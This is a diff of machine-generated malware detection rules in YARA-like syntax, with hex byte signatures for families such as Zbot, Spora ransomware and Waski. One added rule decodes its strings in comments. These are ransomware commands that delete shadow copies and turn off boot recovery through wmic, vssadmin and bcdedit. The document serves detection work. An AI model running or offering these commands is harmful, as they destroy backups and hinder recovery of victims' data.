6e 2e 41 21 64 68 61 00 01 00 7b 42 66 44 0f d6 bc 24 90 01 02 00 00 4c 89 9c 24 90 01 04 4c 89 94 24 90 01 04 4c 89 8c 24 90 01 04 48 89 9c 24 90 01 04 48 89 84 24 90 01 04 4c 89 84 24 90 01 04 48 89 b4 24 90 01 04 48 89 bc 24 90 01 04 48 89 8c 24 90 } //2563 + $a_44_12 = {90 01 01 00 48 8d 05 90 01 04 e8 90 01 04 48 89 44 24 90 01 01 48 b9 00 04 6b f4 14 00 00 00 48 89 48 90 01 01 48 8d 05 90 01 04 e8 90 00 01 00 2b 01 43 3a 2f 55 73 65 72 73 2f 61 6c 70 68 61 2f 67 6f 2f 73 72 63 2f 6c 69 67 68 74 62 65 65 6d 33 32 39 36 2f 73 70 79 2d 67 6f 2f 01 00 2e 01 70 61 74 68 09 6c 69 67 68 74 62 65 65 6d 33 32 39 36 2f 73 70 79 2d 67 6f 0a 62 75 69 6c 64 09 2d 62 75 69 6c 64 6d 6f 64 65 3d 65 78 65 00 00 78 11 01 00 02 00 02 00 02 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 62 6f 74 2e 53 49 42 43 32 38 21 4d 54 42 00 01 00 66 02 33 c0 85 c9 } //1025 condition: - ((#a_6f_0 & 1)*21539+(#a_75_1 & 1)*29797+(#a_62_2 & 1)*17481+(#a_55_3 & 1)*-32501+(#a_69_4 & 1)*24946+(#a_01_5 & 1)*9984+(#a_74_6 & 1)*28005+(#a_0a_7 & 1)*7948+(#a_a2_9 & 1)*769+(#a_25_10 & 1)*2563+(#a_44_11 & 1)*1025+(#a_01_12 & 1)*-28556) >=12 + ((#a_6f_0 & 1)*21539+(#a_75_1 & 1)*29797+(#a_62_2 & 1)*17481+(#a_55_3 & 1)*-32501+(#a_69_4 & 1)*24946+(#a_01_5 & 1)*9984+(#a_74_6 & 1)*28005+(#a_63_7 & 1)*28516+(#a_20_8 & 1)*25964+(#a_25_9 & 1)*2563+(#a_a2_10 & 1)*769+(#a_25_11 & 1)*2563+(#a_44_12 & 1)*1025) >=12 } -rule _InfrastructureShared_16676{ +rule _InfrastructureShared_17770{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 0a 00 21 " strings : $a_5f_0 = {54 3a 55 6c 74 72 61 56 69 65 77 65 72 00 0a 00 0b 81 01 55 6c 74 72 61 56 69 65 77 65 72 01 00 11 81 01 55 6c 74 72 61 56 69 65 77 65 72 20 53 65 74 75 70 01 00 0b 81 01 44 75 63 46 61 62 75 6c 6f 75 73 01 00 18 81 01 53 6f 66 74 } //16931 $a_65_1 = {42 6f 72 6c 61 6e 64 5c 44 65 6c 70 68 69 5c 01 00 0a 81 01 49 6e 6e 6f 20 53 65 74 75 70 01 00 27 81 01 48 4b 45 59 5f 4c 4f 43 41 4c 5f 4d 41 43 48 49 4e 45 5c 53 4f 46 54 57 41 52 45 5c 55 6c 74 72 61 56 69 65 77 65 72 01 00 0e 81 01 55 6c 74 72 61 56 69 65 77 65 72 5f 50 57 01 00 13 81 01 55 6c 74 72 61 56 69 65 77 65 72 5f 44 65 73 6b } //24951 - $a_01_2 = {00 13 81 01 55 6c 74 72 61 56 69 65 77 65 72 5f 53 65 72 76 69 63 65 01 00 1e 81 01 55 6c 74 72 61 56 69 65 77 65 72 5f 43 6c 6f 73 65 52 65 6d 6f 74 65 44 65 73 6b 74 6f 70 00 00 78 11 01 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 46 6f 78 79 42 6f 6f 6b 73 2e 41 21 64 68 61 00 01 00 e3 03 6f 0a 12 00 } //28532 - $a_03_3 = {0a } //-28632 - $a_09_4 = {1f 75 0a 12 00 28 90 01 03 0a a2 25 1f 0a 1f 74 0a 12 00 28 90 01 03 0a a2 25 1f 0b 1f 6c 0a } //9634 - $a_90_5 = {03 0a a2 25 1f 0c 1f 6f 0a 12 00 28 90 01 03 0a a2 25 1f 0d 1f 6f 0a 12 00 28 90 01 03 0a a2 25 1f 0e 1f 6b 0a 12 00 28 } //18 + $a_01_2 = {00 13 81 01 55 6c 74 72 61 56 69 65 77 65 72 5f 53 65 72 76 69 63 65 01 00 1e 81 01 55 6c 74 72 61 56 69 65 77 65 72 5f 43 6c 6f 73 65 52 65 6d 6f 74 65 44 65 73 6b 74 6f 70 00 00 78 10 01 00 14 00 14 00 05 00 21 23 54 45 4c 3a 52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 53 70 6f 72 61 2e 4c 4d 21 4d 54 42 00 02 00 27 01 76 73 73 61 64 6d } //28532 + $a_65_3 = {65 20 64 65 6c 65 74 65 20 73 68 61 64 6f 77 73 20 2f 61 6c 6c 20 2f 71 75 69 65 74 03 00 1a 81 01 77 6d 69 63 2e 65 78 65 20 73 68 61 64 } //28265 + $a_6f_4 = {79 20 64 65 6c 65 74 65 04 00 3d 81 01 62 63 64 65 64 69 74 2e 65 78 65 20 2f 73 65 74 20 7b 64 65 66 61 75 6c 74 7d 20 62 6f 6f 74 73 74 61 74 75 73 70 6f 6c 69 63 79 20 69 67 6e 6f 72 65 61 6c 6c 66 61 69 6c 75 72 65 73 05 00 2d 81 01 62 63 64 65 64 69 74 2e 65 78 65 20 2f 73 65 74 20 7b 64 65 } //30575 + $a_6c_5 = {7d 20 72 65 63 6f 76 65 72 79 65 6e 61 62 6c 65 64 20 6e 6f 06 00 26 01 63 6d 64 2e 65 78 65 20 2f 43 20 74 69 6d 65 6f 75 74 20 2f 74 20 33 20 2f 6e 6f 62 72 65 61 6b 20 3e 20 4e 55 4c 00 00 78 11 01 00 01 00 01 00 01 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 46 6f 78 79 42 6f 6f 6b 73 2e 41 21 64 68 61 00 01 00 e3 03 6f 0a 12 00 28 } //24934 $a_0a_6 = {a2 25 1f } //400 - $a_0a_7 = {12 00 28 90 01 03 0a a2 25 1f 10 1f 6f 0a 12 00 28 90 01 03 0a a2 25 1f 11 1f 66 0a 12 00 28 90 01 03 0a a2 25 1f 12 1f 66 0a 12 00 28 90 } //7951 - $a_a2_8 = {1f 13 1f 69 0a 12 00 28 90 01 } //769 - $a_25_9 = {14 1f 63 0a 12 00 28 90 01 03 0a a2 25 1f 15 1f 65 0a 12 00 28 90 01 03 0a a2 25 1f 16 1f 33 0a 12 00 28 90 01 03 0a a2 25 1f 17 1f 36 0a 12 00 28 90 01 03 0a a2 25 1f 18 1f 35 90 00 00 00 78 11 01 00 01 00 01 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 41 6c 6c 65 72 67 69 63 50 6f 70 63 6f 72 6e 2e 41 21 64 68 61 00 01 00 7b 42 66 44 0f d6 bc 24 90 01 02 00 00 4c 89 9c 24 90 01 04 4c 89 94 24 90 01 04 4c 89 8c 24 90 01 04 48 89 9c 24 90 01 04 48 89 84 24 90 } //2563 + $a_0a_7 = {12 00 28 90 01 03 0a a2 25 1f 0a 1f 74 0a 12 00 28 90 01 03 0a a2 25 1f 0b 1f 6c 0a 12 00 28 90 01 03 0a a2 25 1f 0c 1f 6f 0a 12 00 28 90 01 03 0a a2 25 1f 0d 1f 6f 0a 12 00 28 90 01 03 0a a2 25 1f 0e 1f 6b 0a 12 00 28 90 01 03 0a a2 25 1f 0f 1f 2e 0a 12 00 28 90 01 03 0a a2 25 1f 10 1f 6f 0a 12 00 28 90 01 03 0a a2 25 1f 11 1f 66 0a 12 00 28 90 01 } //7945 + $a_25_8 = {12 1f 66 0a 12 00 28 90 01 03 0a a2 25 1f 13 1f 69 0a 12 00 28 90 01 03 0a a2 25 1f 14 1f 63 0a 12 00 28 90 01 03 0a a2 25 1f 15 1f 65 0a 12 00 28 90 01 03 0a a2 25 1f 16 1f 33 0a 12 00 28 90 01 03 0a a2 25 1f 17 1f 36 0a 12 00 28 90 01 03 0a a2 25 1f 18 1f 35 90 00 00 00 78 11 01 00 01 00 01 00 03 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 41 6c 6c 65 72 67 69 63 50 6f 70 63 6f 72 6e 2e 41 21 64 68 61 00 01 00 7b 42 66 44 0f d6 bc 24 90 01 02 00 00 4c 89 9c 24 90 } //2563 + $a_89_9 = {24 90 01 04 4c 89 8c 24 90 01 04 48 89 9c 24 90 01 04 48 89 84 24 90 01 04 4c 89 84 24 90 01 04 48 89 b4 24 90 01 04 48 89 bc 24 90 01 04 48 89 8c 24 90 01 04 c6 44 24 90 01 01 00 48 8d 05 90 01 04 e8 90 01 04 48 89 44 24 90 01 } //1025 condition: - ((#a_5f_0 & 1)*16931+(#a_65_1 & 1)*24951+(#a_01_2 & 1)*28532+(#a_03_3 & 1)*-28632+(#a_09_4 & 1)*9634+(#a_90_5 & 1)*18+(#a_0a_6 & 1)*400+(#a_0a_7 & 1)*7951+(#a_a2_8 & 1)*769+(#a_25_9 & 1)*2563) >=14 + ((#a_5f_0 & 1)*16931+(#a_65_1 & 1)*24951+(#a_01_2 & 1)*28532+(#a_65_3 & 1)*28265+(#a_6f_4 & 1)*30575+(#a_6c_5 & 1)*24934+(#a_0a_6 & 1)*400+(#a_0a_7 & 1)*7945+(#a_25_8 & 1)*2563+(#a_89_9 & 1)*1025) >=14 } -rule _InfrastructureShared_16677{ +rule _InfrastructureShared_17771{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,14 00 14 00 05 00 21 " + + strings : + $a_4c_0 = {52 61 6e 73 6f 6d 3a 57 69 6e 33 32 2f 53 70 6f 72 61 2e 4c 4d 21 4d 54 42 00 02 00 27 01 76 73 73 61 64 6d 69 6e 2e 65 78 65 20 64 65 6c 65 74 65 20 73 68 61 64 6f 77 73 20 2f 61 6c 6c 20 2f 71 75 69 65 74 } //21539 + $a_81_1 = {77 6d 69 63 2e 65 78 65 20 73 68 61 64 6f 77 63 6f 70 79 20 64 65 6c 65 74 65 } //3 wmic.exe shadowcopy delete + $a_81_2 = {62 63 64 65 64 69 74 2e 65 78 65 20 2f 73 65 74 20 7b 64 65 66 61 75 6c 74 7d 20 62 6f 6f 74 73 74 61 74 75 73 70 6f 6c 69 63 79 20 69 67 6e 6f 72 65 61 6c 6c 66 61 69 6c 75 72 65 73 } //4 bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures + $a_81_3 = {62 63 64 65 64 69 74 2e 65 78 65 20 2f 73 65 74 20 7b 64 65 66 61 75 6c 74 7d 20 72 65 63 6f 76 65 72 79 65 6e 61 62 6c 65 64 20 6e 6f } //5 bcdedit.exe /set {default} recoveryenabled no + $a_01_4 = {63 6d 64 2e 65 78 65 20 2f 43 20 74 69 6d 65 6f 75 74 20 2f 74 20 33 20 2f 6e 6f 62 72 65 61 6b 20 3e 20 4e 55 4c } //6 cmd.exe /C timeout /t 3 /nobreak > NUL + condition: + ((#a_4c_0 & 1)*21539+(#a_81_1 & 1)*3+(#a_81_2 & 1)*4+(#a_81_3 & 1)*5+(#a_01_4 & 1)*6) >=20 + +} +rule _InfrastructureShared_17772{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 01 00 21 " @@ -196875,7 +210028,7 @@ rule _InfrastructureShared_16677{ ((#a_46_0 & 1)*16675) >=1 } -rule _InfrastructureShared_16678{ +rule _InfrastructureShared_17773{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,01 00 01 00 03 00 21 " @@ -196887,7 +210040,7 @@ rule _InfrastructureShared_16678{ ((#a_46_0 & 1)*16675+(#a_89_1 & 1)*1025+(#a_90_2 & 1)*-29368) >=1 } -rule _InfrastructureShared_16679{ +rule _InfrastructureShared_17774{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,02 00 02 00 02 00 21 " @@ -196898,7 +210051,7 @@ rule _InfrastructureShared_16679{ ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*-29951) >=2 } -rule _InfrastructureShared_16680{ +rule _InfrastructureShared_17775{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -196911,7 +210064,7 @@ rule _InfrastructureShared_16680{ ((#a_46_0 & 1)*16675+(#a_51_1 & 1)*-414+(#a_7f_2 & 1)*26128+(#a_6f_3 & 1)*26192) >=3 } -rule _InfrastructureShared_16681{ +rule _InfrastructureShared_17776{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 05 00 21 " @@ -196925,7 +210078,7 @@ rule _InfrastructureShared_16681{ ((#a_46_0 & 1)*16675+(#a_46_1 & 1)*17462+(#a_49_2 & 1)*22081+(#a_90_3 & 1)*3876+(#a_6e_4 & 1)*276) >=3 } -rule _InfrastructureShared_16682{ +rule _InfrastructureShared_17777{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 09 00 21 " @@ -196943,7 +210096,7 @@ rule _InfrastructureShared_16682{ ((#a_46_0 & 1)*16675+(#a_3f_1 & 1)*28524+(#a_5c_2 & 1)*29285+(#a_81_3 & 1)*1+(#a_81_4 & 1)*1+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1+(#a_81_8 & 1)*1) >=3 } -rule _InfrastructureShared_16683{ +rule _InfrastructureShared_17778{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 09 00 21 " @@ -196960,7 +210113,7 @@ rule _InfrastructureShared_16683{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*29541+(#a_66_2 & 1)*385+(#a_6c_3 & 1)*26994+(#a_39_4 & 1)*12377+(#a_13_5 & 1)*32543+(#a_04_6 & 1)*12831+(#a_61_7 & 1)*3601) >=3 } -rule _InfrastructureShared_16684{ +rule _InfrastructureShared_17779{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 21 " @@ -196971,7 +210124,7 @@ rule _InfrastructureShared_16684{ ((#a_54_0 & 1)*18467+(#a_02_2 & 1)*4959) >=4 } -rule _InfrastructureShared_16685{ +rule _InfrastructureShared_17780{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -196982,7 +210135,7 @@ rule _InfrastructureShared_16685{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*-4352) >=4 } -rule _InfrastructureShared_16686{ +rule _InfrastructureShared_17781{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 0b 00 21 " @@ -197000,7 +210153,7 @@ rule _InfrastructureShared_16686{ ((#a_54_0 & 1)*18467+(#a_3d_1 & 1)*26982+(#a_31_2 & 1)*13357+(#a_65_3 & 1)*24898+(#a_7a_4 & 1)*24841+(#a_2d_5 & 1)*31277+(#a_00_6 & 1)*816+(#a_00_7 & 1)*4472+(#a_42_9 & 1)*8448) >=4 } -rule _InfrastructureShared_16687{ +rule _InfrastructureShared_17782{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " @@ -197014,7 +210167,7 @@ rule _InfrastructureShared_16687{ ((#a_46_0 & 1)*16675+(#a_03_1 & 1)*1+(#a_03_2 & 1)*1+(#a_03_3 & 1)*1+(#a_03_4 & 1)*1) >=5 } -rule _InfrastructureShared_16688{ +rule _InfrastructureShared_17783{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 09 00 21 " @@ -197030,7 +210183,7 @@ rule _InfrastructureShared_16688{ ((#a_5f_0 & 1)*16931+(#a_2e_1 & 1)*28003+(#a_69_2 & 1)*11891+(#a_00_4 & 1)*4472+(#a_48_6 & 1)*8448+(#a_42_7 & 1)*20805+(#a_30_8 & 1)*22320) >=5 } -rule _InfrastructureShared_16689{ +rule _InfrastructureShared_17784{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -197044,7 +210197,7 @@ rule _InfrastructureShared_16689{ ((#a_54_0 & 1)*18467+(#a_76_1 & 1)*26933+(#a_54_2 & 1)*18497+(#a_00_3 & 1)*25955+(#a_00_5 & 1)*110) >=6 } -rule _InfrastructureShared_16690{ +rule _InfrastructureShared_17785{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,06 00 06 00 06 00 21 " @@ -197059,7 +210212,7 @@ rule _InfrastructureShared_16690{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*108+(#a_2d_2 & 1)*14694+(#a_00_3 & 1)*1+(#a_48_4 & 1)*17996+(#a_74_5 & 1)*30024) >=6 } -rule _InfrastructureShared_16691{ +rule _InfrastructureShared_17786{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 06 00 21 " @@ -197074,7 +210227,7 @@ rule _InfrastructureShared_16691{ ((#a_46_0 & 1)*16675+(#a_20_1 & 1)*25959+(#a_50_2 & 1)*13141+(#a_69_3 & 1)*8307+(#a_69_4 & 1)*20589+(#a_23_5 & 1)*22318) >=7 } -rule _InfrastructureShared_16692{ +rule _InfrastructureShared_17787{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,07 00 07 00 07 00 21 " @@ -197089,7 +210242,7 @@ rule _InfrastructureShared_16692{ ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*27749+(#a_6f_2 & 1)*20512+(#a_00_3 & 1)*101+(#a_00_4 & 1)*114+(#a_00_6 & 1)*101) >=7 } -rule _InfrastructureShared_16693{ +rule _InfrastructureShared_17788{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -197105,7 +210258,7 @@ rule _InfrastructureShared_16693{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*50+(#a_00_2 & 1)*112+(#a_00_4 & 1)*99+(#a_81_5 & 1)*1+(#a_81_6 & 1)*1+(#a_81_7 & 1)*1) >=8 } -rule _InfrastructureShared_16694{ +rule _InfrastructureShared_17789{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 08 00 21 " @@ -197121,7 +210274,7 @@ rule _InfrastructureShared_16694{ ((#a_54_0 & 1)*18467+(#a_63_1 & 1)*28015+(#a_36_2 & 1)*23662+(#a_81_3 & 1)*1+(#a_11_4 & 1)*0+(#a_6d_5 & 1)*26946+(#a_66_7 & 1)*-21058) >=8 } -rule _InfrastructureShared_16695{ +rule _InfrastructureShared_17790{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,08 00 08 00 09 00 21 " @@ -197139,7 +210292,7 @@ rule _InfrastructureShared_16695{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*24933+(#a_8b_2 & 1)*12364+(#a_00_3 & 1)*3001+(#a_ad_4 & 1)*-20550+(#a_90_5 & 1)*257+(#a_65_6 & 1)*28530+(#a_65_7 & 1)*17153+(#a_6f_8 & 1)*29541) >=8 } -rule _InfrastructureShared_16696{ +rule _InfrastructureShared_17791{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,09 00 09 00 04 00 21 " @@ -197151,7 +210304,7 @@ rule _InfrastructureShared_16696{ ((#a_54_0 & 1)*18467+(#a_75_2 & 1)*2154+(#a_00_3 & 1)*25185) >=9 } -rule _InfrastructureShared_16697{ +rule _InfrastructureShared_17792{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -197169,7 +210322,7 @@ rule _InfrastructureShared_16697{ ((#a_46_0 & 1)*16675+(#a_72_1 & 1)*385+(#a_30_2 & 1)*22574+(#a_01_3 & 1)*25954+(#a_72_4 & 1)*29808+(#a_67_5 & 1)*26994+(#a_52_7 & 1)*21320+(#a_72_8 & 1)*385+(#a_2f_9 & 1)*-32504) >=10 } -rule _InfrastructureShared_16698{ +rule _InfrastructureShared_17793{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -197186,7 +210339,7 @@ rule _InfrastructureShared_16698{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*28777+(#a_61_2 & 1)*12333+(#a_00_4 & 1)*4472+(#a_48_6 & 1)*8448+(#a_65_7 & 1)*25938+(#a_65_8 & 1)*11891+(#a_81_9 & 1)*1) >=10 } -rule _InfrastructureShared_16699{ +rule _InfrastructureShared_17794{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0a 00 0a 00 0a 00 21 " @@ -197202,7 +210355,7 @@ rule _InfrastructureShared_16699{ ((#a_54_0 & 1)*18467+(#a_01_1 & 1)*9472+(#a_65_3 & 1)*385+(#a_00_4 & 1)*81+(#a_00_5 & 1)*108+(#a_5c_6 & 1)*9728+(#a_00_8 & 1)*77) >=10 } -rule _InfrastructureShared_16700{ +rule _InfrastructureShared_17795{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 04 00 21 " @@ -197213,7 +210366,7 @@ rule _InfrastructureShared_16700{ ((#a_46_0 & 1)*16675+(#a_00_2 & 1)*108) >=14 } -rule _InfrastructureShared_16701{ +rule _InfrastructureShared_17796{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,0e 00 0e 00 06 00 21 " @@ -197228,7 +210381,7 @@ rule _InfrastructureShared_16701{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*95+(#a_00_2 & 1)*119+(#a_6a_3 & 1)*29268+(#a_77_4 & 1)*30583+(#a_80_5 & 1)*1) >=14 } -rule _InfrastructureShared_16702{ +rule _InfrastructureShared_17797{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,10 00 10 00 07 00 21 " @@ -197244,7 +210397,7 @@ rule _InfrastructureShared_16702{ ((#a_54_0 & 1)*18467+(#a_00_1 & 1)*102+(#a_77_2 & 1)*0+(#a_01_3 & 1)*2048+(#a_69_4 & 1)*280+(#a_00_5 & 1)*400+(#a_8d_6 & 1)*29951) >=16 } -rule _InfrastructureShared_16703{ +rule _InfrastructureShared_17798{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,20 00 20 00 06 00 21 " @@ -197253,13 +210406,13 @@ rule _InfrastructureShared_16703{ $a_6e_1 = {69 76 69 72 7c 0a 00 22 03 53 53 51 52 53 ff d0 3b c3 7d 90 01 01 ff 15 90 01 03 00 50 68 90 01 03 00 8d 9e 90 01 03 00 e8 90 00 0a 00 41 03 33 c5 89 45 fc 53 6a 04 6a 00 6a 00 c6 45 df 00 ff 15 90 01 03 00 8b d8 85 db 74 3b 56 57 6a 04 68 90 01 03 00 53 ff 15 90 01 03 00 8b 35 90 01 03 00 } //31841 $a_ff_2 = {1a 8d 45 90 01 01 50 57 90 00 0a 00 37 03 53 50 ff 75 90 01 01 ff 15 90 01 03 00 c6 45 fc 02 8b 45 e4 83 c0 f0 e8 90 01 03 ff 39 5d ec 0f 84 90 01 02 00 00 8b 06 8b 3d 90 01 03 00 8d 4d 90 01 01 51 53 90 00 00 00 78 11 01 00 3f 00 21 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 57 61 73 6b 69 2e 53 49 42 21 4d 54 42 00 1e 00 4e 02 b3 5c 88 1c 38 } //-1909 $a_c1_3 = {01 01 05 90 01 04 6a 00 ba 90 01 01 00 00 00 81 ea 90 01 01 90 01 03 81 c2 90 01 01 90 1b 04 52 ba 90 01 01 2e 64 6c 83 ea 90 01 01 52 68 64 75 73 65 8a 5c 0c ff 8b d7 03 d1 88 5c 10 ff 49 85 c9 75 90 00 1e 00 24 02 59 8a 54 39 90 01 01 d0 c2 d0 c2 d0 c2 d0 c2 80 f2 90 01 01 88 54 39 90 1b 00 49 85 c9 75 90 01 01 61 90 00 01 00 20 80 01 73 65 72 76 69 64 6f 72 64 65 64 69 63 61 64 6f 61 64 } //-14029 - $a_69_4 = {74 72 61 64 6f 2e 63 6f 6d 01 00 26 80 01 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6c 6f 61 64 73 2f 32 30 31 34 2f 30 39 2f 32 33 31 30 75 73 31 2e 6f 73 73 01 00 0f 80 01 63 73 73 2f 32 33 31 30 75 73 31 2e 6f 73 73 00 00 78 12 01 00 01 00 01 00 0f 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 68 2f 53 55 53 } //26989 - $a_6f_5 = {62 6c 65 5f 42 61 73 65 36 34 5f 45 6e 63 6f 64 65 64 5f 45 78 65 63 75 74 61 62 6c 65 00 01 00 09 81 01 56 46 5a 77 56 45 46 52 52 01 00 08 81 01 52 57 63 46 52 42 55 55 01 00 09 81 01 55 56 6e 42 55 51 } //24400 + $a_69_4 = {74 72 61 64 6f 2e 63 6f 6d 01 00 26 80 01 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6c 6f 61 64 73 2f 32 30 31 34 2f 30 39 2f 32 33 31 30 75 73 31 2e 6f 73 73 01 00 0f 80 01 63 73 73 2f 32 33 31 30 75 73 31 2e 6f 73 73 00 00 78 11 01 00 50 00 50 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4d 69 6b 65 79 2e 4d } //26989 + $a_54_5 = {00 32 00 52 03 f3 0f e6 c0 f2 0f 58 c0 f2 0f 5c c8 f2 0f 59 0d 5d cf 18 00 f2 0f 11 4d b8 e8 90 01 04 0f be c8 e8 90 01 04 0f be d0 0f af d1 e8 90 01 04 0f be c8 0f be 05 31 2f 1e 00 03 d1 0f be 0d 27 2f 1e 00 03 c2 33 d2 f7 f1 0f } //8530 condition: - ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*31841+(#a_ff_2 & 1)*-1909+(#a_c1_3 & 1)*-14029+(#a_69_4 & 1)*26989+(#a_6f_5 & 1)*24400) >=32 + ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*31841+(#a_ff_2 & 1)*-1909+(#a_c1_3 & 1)*-14029+(#a_69_4 & 1)*26989+(#a_54_5 & 1)*8530) >=32 } -rule _InfrastructureShared_16704{ +rule _InfrastructureShared_17799{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,3f 00 21 00 05 00 21 " @@ -197267,13 +210420,40 @@ rule _InfrastructureShared_16704{ $a_46_0 = {54 72 6f 6a 61 6e 44 6f 77 6e 6c 6f 61 64 65 72 3a 57 69 6e 33 32 2f 57 61 73 6b 69 2e 53 49 42 21 4d 54 42 00 1e 00 4e 02 b3 5c 88 1c 38 33 c9 83 c1 90 01 01 05 90 01 04 6a 00 ba 90 01 01 00 00 00 81 ea 90 01 01 90 01 03 81 c2 } //16675 $a_90_1 = {04 } //400 $a_01_2 = {01 2e 64 6c 83 ea 90 01 01 52 68 64 75 73 65 8a 5c 0c ff 8b d7 03 d1 88 5c 10 ff 49 85 c9 75 90 00 1e 00 24 02 59 8a 54 39 90 01 01 d0 c2 d0 c2 d0 c2 d0 c2 80 f2 90 01 01 88 54 39 90 1b 00 49 85 c9 75 90 01 01 61 90 00 01 00 20 80 01 73 65 72 76 69 64 6f 72 64 65 64 69 63 61 64 6f 61 64 6d 69 6e 69 73 74 72 61 64 6f 2e 63 6f 6d 01 00 26 80 01 77 70 2d 63 6f 6e 74 65 6e 74 2f 75 70 6c 6f 61 64 73 2f 32 30 31 34 2f 30 39 2f 32 33 } //-17838 - $a_73_3 = {2e 6f 73 73 01 00 0f 80 01 63 73 73 2f 32 33 31 30 75 73 31 2e 6f 73 73 00 00 78 12 01 00 01 00 01 00 0f 00 21 23 41 4c 46 3a 59 32 56 3a 46 6c 6f 72 69 61 6e 5f 52 6f 74 68 2f 53 55 53 50 5f 44 6f 75 62 6c 65 5f 42 61 73 65 36 34 5f 45 6e 63 6f 64 65 64 5f 45 78 65 63 75 74 61 62 6c 65 00 01 00 09 81 01 56 46 5a 77 56 45 46 52 52 01 00 08 81 01 52 } //12337 - $a_52_4 = {55 55 01 00 09 81 01 55 56 6e 42 55 51 56 46 46 01 00 09 81 01 56 46 5a 76 51 55 46 42 51 01 00 08 81 01 52 57 62 30 46 42 51 55 01 00 09 81 01 55 56 6d 39 42 51 55 46 42 01 00 09 81 01 56 46 5a 78 51 55 46 42 } //25431 + $a_73_3 = {2e 6f 73 73 01 00 0f 80 01 63 73 73 2f 32 33 31 30 75 73 31 2e 6f 73 73 00 00 78 11 01 00 50 00 50 00 03 00 21 23 54 45 4c 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 4d 69 6b 65 79 2e 4d 52 21 4d 54 42 00 32 00 52 03 f3 0f e6 c0 f2 0f 58 c0 f2 0f 5c c8 f2 0f 59 0d 5d cf 18 00 f2 0f 11 4d b8 e8 90 01 04 0f be c8 e8 90 01 04 0f be d0 0f af d1 e8 90 01 } //12337 + $a_c8_4 = {be 05 31 2f 1e 00 03 d1 0f be 0d 27 2f 1e 00 03 c2 33 d2 f7 f1 0f be 0d 18 2f 1e 00 3b c1 90 00 0a 00 1e 01 8b 0d 82 74 13 00 8b c3 f7 d1 99 f7 f9 66 0f 6e c0 f3 0f e6 c0 f2 41 0f 58 c1 f2 0f 2c d8 14 00 6d 01 48 b8 69 db 9f 86 eb 39 cd 3b 48 89 